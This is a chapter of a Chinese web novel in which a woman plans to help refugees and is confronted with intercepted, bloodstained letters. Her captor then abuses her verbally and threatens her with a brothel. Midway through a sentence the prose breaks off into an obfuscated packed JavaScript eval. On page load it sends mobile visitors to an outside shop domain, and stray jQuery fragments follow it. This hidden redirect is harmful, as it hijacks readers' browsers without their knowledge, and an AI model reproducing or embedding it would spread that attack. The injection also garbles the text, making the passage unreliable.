自从接到涂救信件以来,庄栩鹊想起之前颠沛流离的一段苦日子就更在房子闲待不住。涂救像一个活生生有血有肉的链接,一下子将她强有力拽出与世封闭了般的闭塞视听的浮华世界。
庞大奢华的房子化作一摊随时会被炸碎的瓦砾,沙发上那精美绣线的软垫绣枕幻化成一团废絮糟囊,口里吃的大鱼大肉则是外面多少人乞讨也讨不来的天价食物。
她闭眼便是睡,睁眼第一时间看见的不再是欧式风格建筑的内壁砖墙,转角楼梯墙壁上的精美绘画壁纸成了她梦里的一栋栋破烂屋子。
栩鹊吃不下桌上的菜,越吃不下,越是一筷未动任凭食物糟蹋,良心就像一整颗被挖出胸腔,血液滴滴答答流淌到地上污秽发烂,她自己都害怕那种胆战心惊的汗流浃背之感。
陈宛钰从早上吃完早餐就出门办事,步履匆匆一直到中午都没回来。
庄栩鹊趁他一反常态一天都不见得回屋,就打包了桌上几乎一筷未动的饭菜,本想试试能不能软磨硬泡偷溜出门。陈宛钰却半途回来了。
庄栩鹊干脆直白坦诚:“我一点都没动,都是完完整整的好菜好饭,丢掉多可惜呀,我们去给后街上那群好几天水米未沾的流民吃不好吗?他们都好久没吃到一顿像样的饭了。”
陈宛钰讶然瞧着栩鹊,半晌嘴唇都未蠕动说出一句话。
以为他不同意,庄栩鹊心里打鼓,给自己加油鼓劲又说了一串话,诸如现在形势不易各方都很险峻,她身上没有余钱也没指望他能替她捐什么钱,唯一能尽的绵薄之力就是省下点吃食给好几天没饱腹过的可怜孩子们一点吃的云云。
陈宛钰的冷漠无情和刻薄讥讽,庄栩鹊领教的一清二楚,眼睛瞅着鞋尖手指无意识地乱搅动衣摆裙角。
等待时间相隔越长越觉得煎熬的苦楚,庄栩鹊心酸自己身上分文未取,哪怕是从自己那堆珠宝奁里拿点钱来当了呢也能换出点钱,不必陈宛钰的嗟来之食看他脸色去做点绵薄之力。
涂救的来信上绘声绘色描述了他所在地区的残酷艰苦,虽用了最调皮欢快的语调笑侃他的又一次熔炉生活,可话里话外的骄傲之色也掩盖不住和贼匪拼杀的残酷本身。
人民流离失所百姓饥难成灾,各地还发起了大水冲坏禾苗粮食,各地房屋积蓄被烧杀劫掠尽了的男女携着老小赤脚逃难。
空留满腔热血愤慨的人们捶胸顿足,撕心裂肺地怒嚎,势要打赢丧尽天良的匪人,消灭天灾人祸,定要让所有人重返幸福家园。
老天降下人间炼狱于这片厚土,全天下人都在愤怒咆哮着站起来抵抗,弱小残老们被逼的无家可归到处流散,可另一方面歌舞升平的权贵们仍在夜夜笙歌醉生梦死。
世界就像被分成两个割裂的房间,玻璃窗外的人们互相看着对方的生活无法置信同在一片地域。
庄栩鹊自从回了这座繁华靡丽之城,就如被城里所有奢华精致的男女再次拉回他们那个房间一般,一下子听不见外界的一切真实声音。
在她们这座自幼用繁华堆砌起来的房间里,再穷的人也会削减脑袋,努力挤进房内尝试着与走针上流淌的音乐翩翩起舞。
看了太久繁华衣服和名贵首饰,便渐渐忘了身处何时何地。
一座高楼倾塌之后立刻会在废墟之上建立新的大厦。
而栩鹊,不过是从费尽心机进入的当初那座名为陈家的大楼,迷迷糊糊又被拉进另一间名为陈宛钰的华丽房子。
人的脑子在被猛然一阵剧烈晃动后,像晃出本就满盈要溢出的水,呼吸一下子顺通畅快脑袋也清明了起来。耳边听见的风声愈来愈清晰。老弱病残的哭泣绝望声音也透过上流富人区的层层防线,突破密不透风的砖墙穿透进来。
乱乱糟糟的哭泣声、哀求声、病痛折磨声的混杂浑浊膜,被一道近在咫尺的声音断然打裂。
一丝缝隙从浊质隔膜中央裂开,蜿蜒曲折的缝裂承载着陈宛钰清楚低微的声音:“行。”
跟着陈宛钰迫不及待钻上车,庄栩鹊再一次离开了这座名为软禁之地的别墅。车上陈宛钰几乎不怎么说话,抿唇不语瞧着她跑上跑下忙里忙外,眼神始终没有定点一般穿过她的后脑壳望着窗外那条难民街,分明在想自己的事。
在这座繁华大都市的后街有这样一条脓溃肿烂,贫穷病困的街道真属难以想象。若非庄栩鹊偶然听邮差提起往这瞥了一眼,此生当真很难发现这样一个像独立割据之地。
小轿车停在这座街道的最末端,就像一个异类格格不入受人注目礼。
庄栩鹊爬上车后座,脑门早被阳光晒得晶晶发亮流着细汗。
陈宛钰一声不吭,轻拍驾驶座上的司机后背就立刻有袋买好的帕子递到他手上。
庄栩鹊从他手中拿了一条擦擦脸蛋,察觉此刻正是说事的好时机,见缝插针道:“我想去针线铺。”
陈宛钰如她所料流露疑惑不解的神色,“去那里做什么。”
一想到接下来要说的话要做的事,汗流浃背的感觉攀沿着尾椎骨汩汩上涌,连着几日针锋相对的相处让她吐露下面那句话时格外艰涩。
说和不说的踌躇在她心里互相扯头花,撕个头发散乱淋漓狼狈之际庄栩鹊下定了决心。
伤害男人的坏女人罪也不是第一次了,庄栩鹊你可以的,不要畏首畏尾直接挺胸向前表演。
在陈宛钰安静而迷惑的注视下庄栩鹊掏出了口袋里的香囊,开口前嗓子像卡了一口浓痰似的哑了一下,捏捏鼻子疏通堵着的那股酸流,口是心非道:“你在找的是这个东西吧。”
陈宛钰立刻变色易容,车内的空气霎时异常流动,“你从哪里拿的。”
庄栩鹊勉力提了提嘴角,“上次买衣服的时候看见从你钱包掉出来的。我看上面针脚年久松散都不能用了,你那地方又没有针线,想着要么从针线铺买点布料和针筒给你缝缝补补或者重新做一个。”
接下去的一分钟漫长可至一个世纪,时间仿若静止流淌,半空飘散着莫名粘稠停滞的味道。
久到庄栩鹊都不再期待他的回答,陈宛钰的唇角扯出微小空隙吐了一个字:“好。”
庄栩鹊大松口气,庆幸没被陈宛钰那双极其一般审视的眼瞧出漏洞,天晓得她心里图谋好了针线铺就在典当交易铺旁边,准备趁此谎言暗度陈仓的绝佳计划。
怀着成功了后暗暗得意的小庆喜,庄栩鹊在车上的日子又快速流逝几乎都想哼起歌来,筹划着典卖出的那些钱的各种用途。
车子转到一处堵得水泄不通的路口停了下来,一看百乐门那辉煌闪烁的字牌栩鹊心里一股反胃袭来。
在楚云霄那里吃的苦头几乎成了她的心头之恨,快到了与那人不共戴天地步,当即扭过头去对陈宛钰说:“我从这下车,走过去好了,反正离得也不远。”
陈宛钰狐疑地瞧着栩鹊的脸:“你从前不是最爱到这来跳舞吗,怎么现在一眼都不想看见似的厌恶了。”
从前,从前。不知道陈宛钰嘴边老爱挂这个词是何意味,她栩鹊尽情挥洒歌舞汗水的那时期又不是和他度过的,甚至那会儿他也还没认亲归入陈家,他又从哪里知晓了。
从报纸上看来一丁点她的新闻,就拿从未共同的经历那段往事似的谈资,庄栩鹊只觉好笑。
她寄人篱下如今收敛许多,自然不敢放肆表露,小心翼翼试探着吐露自己的不满:“我不喜欢那个楚云霄,他是个见利忘义的小人。”
陈宛钰沉默,须臾开口道:“我在此地的大部分产业都要感激他和我的合作。”
把狼狈为奸和沆瀣一气的投机说成合作,庄栩鹊真想捂起耳朵一字不听,眼睛久久闪烁窥着陈宛钰身后的车窗不与他直直对视,轻声道:“他做过很过分的事,要不你单独见他,反正我是不见。”
言语间那站在百乐门口的楚云霄瞧见陈宛钰这方的车,大步潇洒走了过来,隔着车窗大喊陈老板,一眼瞅见里边躲着他往角落钻的栩鹊,笑意更为放肆胆大:“恭喜宛钰你终于抱得美人归呀。”
闻听这话庄栩鹊不禁又偷着横了楚云霄一眼,他把她送入狼窝这事她这辈子也不会忘,像羊跌入狼窝被那群男人的眼神恣意打量垂涎的难堪羞耻感至今仍存,要不是涂救天降英勇,她真不知道她的人生会落入怎样的绝望低谷。
庄栩鹊虽不言语周身散发的抵抗之气已不容忽视,陈宛钰寒暄客气了几句以还有事要先走一步。
眼见栩鹊就差没拍着司机的座椅催他赶紧踩油门,从车马如虹的堵塞大道上英勇果敢地挤出一条大道。
楚云霄眼眸机灵狡诈地一转,危险的笑容徐徐展
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17737859|207280||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
露了他的嘴角:“千辛万苦抱得美人,宛钰你也不要忘了居安思危。”
说着他悠容地趴在窗框玻璃上,任凭喇叭漫天响也不为所动,将一只泛黄信封交递:“这边拿到了栩鹊小姐收到的两封信,真奇怪,明明是寄给小姐的,怎么会到我这里来呀?好像是你的朋友寄来的。”
一看那信就知是被半途拦截的,庄栩鹊羞恼不已,佯装害臊实际伸手跨过陈宛钰去夺:“女人的信你也读呀,真没礼貌家教!”
楚云霄偏不给她,捉弄小孩似的把身子一转,“那也比不上颇有家教的栩鹊小姐你竟然敢在妓院里跟着一个野男人走了呀。我们到处找都找不到你,对吧陈老板,小姐你那时候走的那么决绝毫不拖泥带水的,可让我们好找。从这信里呢终于知道了你们当时躲去哪里了,敢情是宛如做了一对夫妻一般躲起来了,那的确是说什么都不肯跟宛钰见面回来了。”
庄栩鹊的口水险些噎到自己,呛了好几声,好险回溯了口气道:“你就胡说呢。”
一面祈祷身边这尊大佛似的陈宛钰可别中他的挑拨计。
余光掠到沉静不语的陈宛钰的阴郁神色,庄栩鹊顿时有如浑身汗毛炸起。心想这下可真完了,本来好端端的一次计策怕是要夭折。
她真想夺车而下逃遁飞走,听见陈宛钰说了句:“什么信,我也看看。”
接下去庄栩鹊就跟涂了红色颜料的猴子一样坐立不住,抓心挠肝地想扯走涂救的那两封信,当目光一瞥到第二封她未看过的信纸从信封缓缓漏出,伴随着一件残破符囊滑到她的脚下。
庄栩鹊的呼吸和血液在这一刻不再流动。
符袋碎裂血迹斑斑,过去缝补过的梅花也掩盖不住新添的锈色血痕,庄栩鹊甚至感受不到车子重新驶动的摇晃感,也不管脚下的晃趔就弯腰去拾取。
另一只手以迅雷之势推开她想抢先一步拿起来,庄栩鹊顿时像被抢了拨浪鼓的婴孩激烈挣扎,“那是我的,你拿什么?”
血丝充满双眼,骇然而可怕的猜想充斥着脑袋。她紧紧把那涂救的护身符贴着胸口不让陈宛钰的厉手夺走,一面伸长脑袋想看第二封信写的什么。
长长铺就一页的书信,字字泣血,庄栩鹊怎么努力睁大眼睛都无法看清陈宛钰手上那张纸的字迹。
只依稀辨清这封绝笔书最后的字越来越小,几乎像蚂蚁字那般小。
整封信纸残破沾血,落在陈宛钰不沾纤尘的手里就像雪地里刺目的雪光,灼痛庄栩鹊的眼眸。陈宛钰严厉的目光从信纸挪到她胸口的护身符上,问出了一个心知肚明的话:“这个护身符也是你给这人做的么,你要这样珍怀。”
庄栩鹊把唾沫咽了咽,试图解释让他理解:“他相当于救过我的命。你可能不理解,你也听见刚刚初云霄说的了,当时我被他拐到了妓院被扔进了一伙男人堆里,差点……差点就……是他在危机关头救了我。他就是我的救命恩人,我难道不得绣个护身符回偿吗?你总说我千般不好万般不好势利薄凉,但是我的心也是肉做的,会被感动懂得知恩图报呀。”
亲自撕碎那段耻辱往事就像把伤口没好利索的痂,刺啦一声再次撕得鲜血淋漓血肉模糊。
终究像纸包不住火,千捂万捂也会让人知道。庄栩鹊痛彻心扉有苦难言,当下想的是——司机能不能先下去避让一下,被第三个人知道她更是不想活了。
陈宛钰当时也在八大胡同里等待和她见面,楚云霄一定早就告诉了他这回事。
陈宛钰脊背绷紧,整个人像是抻紧了的一根弓弦随时喷薄欲出,像忽然爆发那样在庄栩鹊话说完的一刻扔下一颗炸弹:“庄栩鹊,你怎么不去死啊。”
庄栩鹊发懵,不知他怎么忽然口出恶言,“我怎么了?”
陈宛钰直勾勾地望着她死也不让他拿走的护身符,目光往下穿透她的口袋。那眸光死寂深邃具有洞穿力,像只铁手紧紧抓着庄栩鹊口袋里的另一只丑陋香囊。
他冷笑了一声,笑声和鼻息在车内空间弥盖如云,笼得人心惶惶。陈宛钰像看垃圾的眼神一般瞧过来:“你难道不该当妓女吗,你随便跟男人一走就是几年的行径比人尽可夫的妓女好到哪去呢?我那天就该让楚云霄早点把你带到那个房间的,就算现在,我也随时能把你这种毫无羞耻心的人重新扔到妓院去。”